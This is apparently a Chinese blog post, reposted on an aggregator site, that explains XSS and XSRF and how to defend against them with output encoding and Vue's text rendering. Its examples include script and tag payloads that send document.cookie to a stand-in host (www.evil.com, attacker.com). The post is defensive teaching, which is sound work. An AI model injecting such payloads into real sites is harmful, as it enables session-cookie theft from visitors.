注意安全!XSS 和 XSRF

[Tips] 本文是从 jianshu 平台重新修改编辑后移植来的,比上一版本做了些修订。

最近在看一些关于网络安全的问题,当然许多是跟前端相关的,包括且不局限于xss和xsrf 了,那么小编就结合最近的学习实践谈一些粗浅的认识。(\(^o^)/,我是一个喜欢做实验的家伙)

XSS (Cross Site Script)跨站脚本攻击!

XSS 意思就是跨站脚本攻击。这里面也涉及到跨域的问题,特别是在后面谈到XSRF防御的时候。简单来说XSS就是来自外部(用户)输入的脚本被注入到了受害网站,如果该网站没有对用户输入进行过滤,那么这段脚本可能被之后访问该网站的用户浏览器执行。

举个栗子:

假如某个网站有评论功能且没有针对XSS 的过滤,那么小编在某文章下评论了以下内容:

<script>alert("你查看了我的文章!!快打赏!!不打赏不准走!!哈哈")</script>

那么这段字符串POST给了网站服务器,没有对脚本进行过滤或者Encode,啥都没做。原封不动地加入了原本的HTML页面,那么当其他用户查看该文章的时候浏览器就会自动执行HTML 文档中的这句 JS 脚本 ,弹出来 吓人 _ ...

这还不算啥,顶多就是烦人。但如果评论里面写的是:

<script>window.open(www.evil.com?content=document.cookie);</script>

当你再次访问这篇文章的时候,你在当前域下的cookie被小编的恶意网站(www.evil.com)给get到了。。这个网站的后台程序可能会拿到你的cookie(其中包含sessionId 等等),然后借此cookie登陆你的网站账户,乱发段子。当然,目前主流的网站都是禁止JS 脚本获取并且操作cookie的,并且浏览器中的安全机制使得cookie 不会被发送到跨域的其他网站中。

其实,有个非常棒的图展示了整个XSS攻击的过程。


>> how-xss-works

所以作为一个合格的WebApp,不能相信任何用户输入内容, 更不能对数据未加处理就直接Print到HTML DOM 结构里。当今主流的一些前端框架(Angular,Vue.js 等)都实现了对 XSS 的防御,结合服务器端的Token机制更是可以防御XSRF(跨站伪造请求)

防御

那么到底如何防御这种简单的注入攻击呢?

简单地说,核心思想就是:不相信任何用户输入,不允许用户注入脚本,例如<script> 等内容。在需要显示脚本内容之前对其进行Encode,再显示在HTML中。例如Jquery 通过 $.text(userInput) 来创建纯文本节点,而不是把userInput 当作脚本来执行。 Vue.js 等框架则具有更高的安全策略,默认把所有动态内容渲染为纯文本,当你需要把内容执行的时候需要显式调用v-html 指令,如下:

<p >Using mustaches: {{ rawHtml }} </p> // 默认安全渲染纯文本

<p >Using v-html directive: <span v-html="rawHtml"> </span></p> // 当作Html或js 解释执行

除了<script></script>这样的标签在DOM结构中会自动执行,还有哪些??

对的!<img src="attacker.com/attack.js" /> <a href="www.evil.com?content=document.cookie"></a> 等等都能实现GET请求外部脚本,或者向非法网站发送POST请求,可能会修改你正在访问的网站的密码,所以这些内容都应该做Encode处理,总结起来,原理上就是把这些带有 "<", ">", '\"' 等内容转义即可。

举个栗子:

用户输入内容是:<script>alert(" peiqian!")</script>

无害处理后字符串是:


>> 转换后的字符串

转换背后的机制是一套特殊字符 安全字符的映射表, 这与浏览器对HTML的渲染机制有关。各大浏览器中的JS引擎碰到<script> </script>这样的标签,会解析其中的代码,并且执行。但碰到 &lt;&gt; 这样的字符就不会当做JS 执行,而是作为普通字符串打印。大家可以试试看Encode 前后这个例子在浏览器中的表现。

映射表参考链接: 映射表

参考文章

cross-site-scripting

全面学习XSS



更多专业前端知识,请上 【猿2048】www.mk2048.com

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/366552.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

go分析和kegg分析_干货预警:3分钟搞定GO/KEGG功能富集分析(2)

在 3分钟了解GO/KEGG功能富集分析 一文中给大家讲解了GO和KEGG的基本概念和内涵,并且给大家介绍了DAVID这一神奇网站。今天我们就把GO/KEGG功能富集分析的详细教程按部就班地呈现给大家,有请小猎豹。 多图预警,轻点图片,查看高清大图 1 Step1: 打开DAVID官网:https://dav…

如何在本地开发环境调试微信 JS-SDK

以下篇幅将会描述不同前提下对应的调试策略&#xff0c;当然也有可能不是最优解&#xff0c;望斧正 →_→ 前言 何谓「安全域名限制」&#xff1f; 以微信 JS-SDK 的使用为例&#xff0c;每个公众号被限制最多可设置三个安全域名&#xff0c;且必须能被腾讯服务器所验证&#…

云南省农村信用社计算机岗位待遇如何,云南农村信用社薪资待遇如何?

在云南如果去存钱&#xff0c;相信大多数人都会把自己的小钱钱存在农村信用社而不是XX银行。在这一块风景秀丽&#xff0c;人美山美水美的地方&#xff0c;就金融行业来说云南农村信用社要是说自己差&#xff0c;那基本没有谁敢说自己做的好。所以在云南农信社这家企业里做一名…

小票上为啥指甲能划出印_指甲上出现竖纹,除遗传问题,或是身体在向你拉警报了,别忽视...

生活中常见女生给指甲抹上各种不同的颜色来让它变得美美的&#xff0c;指甲起着修饰人的形象的作用。而指甲的状况也能折射出身体的健康状态如何。每个人的指甲形态不一&#xff0c;有的润滑饱满&#xff0c;光滑平整&#xff0c;有月牙&#xff1b;有的坑坑洼洼&#xff0c;凸…

require.context

带表达式的 require 语句 如果你的 require参数含有表达式(expressions)&#xff0c;会创建一个上下文(context)&#xff0c;因为在编译时(compile time)并不清楚具体是哪一个模块被导入 require("./template/" name ".ejs");webpack 解析 require() 的…

使用JSF 2.2功能来开发可滚动,可延迟加载的Ajax数据表

这次&#xff0c;我想与您分享我最近从JSF 2.2功能中学到的知识。 为此&#xff0c;我决定创建一个简单的ajax&#xff0c;可滚动的延迟加载数据表。 请注意&#xff0c; 绝不这是相当大的库如Primefaces &#xff0c; RichFaces的或ICEFaces的 。 这只是为了告诉您我学到了什…

如何监视ps/查询的性能和使用

可以使用“查询管理”页面监视查询性能和使用情况。您可以获得的一些统计信息包括平均运行时、运行次数和上次运行日期。使用预定义的搜索&#xff0c;还可以选择要检查和报告的查询。查询管理还允许您取消当前在查询管理器和查询查看器中运行的查询&#xff0c;以及启用和禁用…

金融计算机怎么调成链式,FRM金融计算器使用方法

2020FRM考试计算器&#xff1a;想一想FRM一级考试基本上按计算器停不下来&#xff0c;我们就一定要买一个简单易操作的计算器&#xff0c;但是GARP对于FRM考生所使用的计算器是有规定的&#xff1a;所有参加FRM考试的考生必须使用GARP指定的计算器&#xff0c;如果考生在考试期…

参数调优为什么要采样_程序员精进之路:性能调优利器--火焰图

本文主要分享火焰图使用技巧&#xff0c;介绍 systemtap 的原理机制&#xff0c;如何使用火焰图快速定位性能问题原因&#xff0c;同时加深对 systemtap 的理解。让我们回想一下&#xff0c;曾经作为编程新手的我们是如何调优程序的&#xff1f;通常是在没有数据的情况下依靠主…

我是这么理解Vue中的响应式系统的

遇到知识&#xff0c;尤其是复杂的概念&#xff0c;我不能类比的话&#xff0c;我很难接收&#xff08;所以学习很差...&#xff09;。在看了大神染陌同学的Vue源码解析后&#xff0c;我想分享一下我所类比的Vue响应式系统&#xff0c;您得先看他的文章&#xff08;至少看他写的…

图的顺序存储(邻接矩阵存储)【摘录自严长生老师的网站】

图是表达多对多关系的一种数据结构&#xff0c;组成要素为顶点和连接顶点的边。 根据边有无方向可分为有向图和无向图 当边有权重时&#xff0c;升级为有向网和无向网 图在存储时&#xff0c;可采用邻接矩阵&#xff0c;比如下面的无向图&#xff08;A&#xff09;和&#xff0…

Neo4j:使隐式关系成为显式和双向关系

最近&#xff0c;我阅读了Michal Bachman关于 Neo4j中双向关系的文章 &#xff0c;他建议对于某些关系类型&#xff0c;我们对关系的方向不那么感兴趣&#xff0c;因此可以在查询时忽略它。 他使用以下示例显示了Neo Technology和GraphAware之间的合作关系&#xff1a; 两家公…

复旦大学计算机学院博士生王斌,复旦大学计算机科学技术学院博士生刘鹏飞荣获...

计算机科学技术学院发布时间:2017-01-04 小字体 中字体 大字体2016年12月22日,历时七个月选拔的2016年度百度奖学金获奖者揭晓,复旦大学计算机科学技术学院2014级博士生刘鹏飞以其在“自然语言处理与深度学习”上取得的突出成绩,从国内外近百所著名高校数百位竞争者中脱颖而出,…

Deno 兼容浏览器具体指的是什么?

Deno 里面有一句描述&#xff1a;"Aims to be browser compatible"&#xff0c;可以看到 Deno 的目标是兼容浏览器。那么这里的兼容浏览器到底如何是什么意思呢&#xff1f; 我简单谈谈我的理解吧。 首先这里的兼容性肯定不是 Deno 直接在浏览器端运行。因为 Deno …

判断按键值_「正点原子NANO STM32开发板资料连载」第十六章电容触摸按键实验...

1&#xff09;实验平台&#xff1a;ALIENTEK NANO STM32F411 V1开发板2&#xff09;摘自《正点原子STM32F4 开发指南&#xff08;HAL 库版》关注官方微信号公众号&#xff0c;获取更多资料&#xff1a;正点原子第十六章电容触摸按键实验上一章&#xff0c;我们介绍了 STM32F4 的…

将社交登录添加到Spring MVC Web应用程序:注册和登录

本教程的第一部分描述了如何配置Spring Social 1.1.0和Spring Security 3.2.0&#xff0c;但它留下了两个非常重要的问题尚未解答。 这些问题是&#xff1a; 用户如何创建新用户帐户&#xff1f; 用户如何登录&#xff1f; 现在该弄脏我们的手并回答这些问题了。 我们的示例…

实验五 编写、调试具有多个段的程序

&#xff08;1&#xff09;将下面的程序编译、连接&#xff0c;用Debug加载、跟踪&#xff0c;然后回答问题。 ①CPU执行程序&#xff0c;程序返回前&#xff0c;data段的数据为多少&#xff1f; 见下图d 0770:0000 000f结果。 ②CPU执行程序&#xff0c;程序返回前&#xff0c…

手机工商银行怎么转账_工商银行信用卡要哪些申请条件?想成功办理你需要了解这些!...

工商银行信用卡一直是卡友们热议的对象&#xff0c;也有不少卡友问过小白&#xff1a;工商银行信用卡怎么办理&#xff1f;要哪些条件&#xff1f;要等多长时间&#xff1f;那么今天小白就为大家详细的讲解一下工商银行信用卡申请的各种方法和技巧&#xff0c;希望对大家有帮助…

数据可视化的基本原理——视觉通道

数据可视化为了达到增强人脑认知的目的&#xff0c;会利用不同的视觉通道对冰冷的数据进行视觉编码。 我们在数据可视化的时候&#xff0c;一方面&#xff0c;展现可视化对象本身的位置、特性&#xff0c;对应的视觉通道类型是定性或者分类&#xff0c;比如汽车在什么地方、汽…

linux测试地址是否能访问_一个小测试能看出孩子注意力是否集中,提前弥补,上小学会很轻松...

文|秘籍君不少家长虽然重视孩子的教育&#xff0c;却总是习惯“临阵磨枪”&#xff0c;具体体现在&#xff1a;孩子在上幼儿园的前一两个月才开始着急&#xff0c;害怕孩子适应不了幼儿园&#xff1b;孩子上了大班才开始重视“幼小衔接”&#xff0c;却不知道&#xff0c;从孩子…